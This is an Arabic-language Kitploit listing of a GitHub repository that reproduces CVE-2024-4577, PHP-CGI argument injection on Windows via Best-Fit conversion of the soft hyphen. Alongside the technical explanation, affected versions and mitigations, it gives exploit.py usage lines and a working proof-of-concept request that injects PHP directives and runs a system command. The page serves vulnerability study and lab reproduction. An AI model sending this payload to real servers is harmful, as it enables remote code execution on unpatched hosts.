Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/razureink/cve-2024-4577-phpcgi_rce_reproduction
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubrazureink/cve-2024-4577-phpcgi_rce_reproduction

cve-2024-4577-phpcgi_rce_reproduction

إعادة إنتاج CVE: cve-2024-4577-phpcgi_rce_reproduction

عرض المستودع
17منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4577 - حقن وسيطات PHP CGI على ويندوز ("WorstFit")

نظرة عامة

CVE-2024-4577 هي ثغرة أمنية حرجة تسمح بتنفيذ الأوامر عن بُعد في تنفيذ PHP CGI على ويندوز. تتجاوز الإصلاح الأصلي لـ CVE-2012-1823 عبر استغلال تحويل صفحة الأكواد "Best-Fit" في ويندوز لتهريب وسيطات سطر الأوامر عبر سلسلة استعلام CGI.

  • درجة CVSS: 9.8 (حرجة)
  • مكتشف من قبل: Orange Tsai (DEVCORE)
  • النوع: حقن أوامر نظام التشغيل / حقن وسيطات
  • تاريخ التصحيح: 6 يونيو، 2024

التفاصيل التقنية

عندما يعمل PHP كوحدة CGI (php-cgi.exe)، فإنه يوزع سلسلة الاستعلام كوسيطات لسطر الأوامر. يقوم الإصلاح الأصلي لـ CVE-2012-1823 بحظر الحرف - (علامة الناقص، 0x2D) لمنع حقن الوسيطات. ومع ذلك، على أنظمة ويندوز التي تستخدم صفحات أكواد معينة (على سبيل المثال: الصينية، اليابانية، الكورية)، تقوم ميزة تحويل الأحرف "Best-Fit" بتحويل أحرف Unicode محددة إلى ما يقابلها من ASCII بشكل تقريبي.

الاختراق الرئيسي يستخدم حرف soft-hyphen (0xAD / U+00AD). عندما يمرر طلب %AD في سلسلة الاستعلام وكان الإعداد المحلي للخادم يستخدم صفحة أكواد "Best-Fit"، يقوم ويندوز داخليًا بتحويل 0xAD إلى (علامة الناقص)، مما يسمح للمهاجم بحقن وسيطات PHP على الرغم من المرشح.

0x2D

مثال: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input يصبح -d allow_url_include=1 -d auto_prepend_file=php://input.

الإصدارات المتأثرة

  • PHP 8.1.* قبل 8.1.29
  • PHP 8.2.* قبل 8.2.20
  • PHP 8.3.* قبل 8.3.8

متطلبات التكوين:

  • PHP يعمل كـ CGI باستخدام php-cgi.exe
  • خادم Apache مع وحدة mod_cgi أو mod_cgid مهيأة
  • إعدادات ويندوز المحلية تستخدم صفحة أكواد "Best-Fit" (الصينية، اليابانية، الكورية، إلخ.)

إعداد البيئة (XAMPP)

  1. قم بتنزيل إصدار PHP ضعيف (مثل 8.1.28) لويندوز.
  2. قم بإعداد XAMPP أو Apache مع وضع CGI:
    root@kitploit:~
    ScriptAlias /php-cgi/ "C:/php/"
    Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
    
  3. تحقق من الهدف: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

الاستخدام

root@kitploit:~
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

إثبات المفهوم (PoC)

الحمولة المصممة تحقن توجيهات تكوين PHP عبر سلسلة الاستعلام:

root@kitploit:~
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

التخفيف

  • الترقية PHP إلى 8.3.8+ أو 8.2.20+ أو 8.1.29+
  • تعطيل وضع CGI واستخدام PHP-FPM أو mod_php أو FastCGI بدلاً من ذلك
  • تطبيق قواعد إعادة الكتابة (rewrite rules) في IIS أو Apache لحظر الطلبات إلى php-cgi.exe
  • تشغيل PHP فقط على أنظمة ذات صفحات أكواد غير "Best-Fit" (مثل الإنجليزية)

المراجع

  • https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-4577
  • https://www.php.net/ChangeLog-8.php
  • https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09
تنزيل الأداة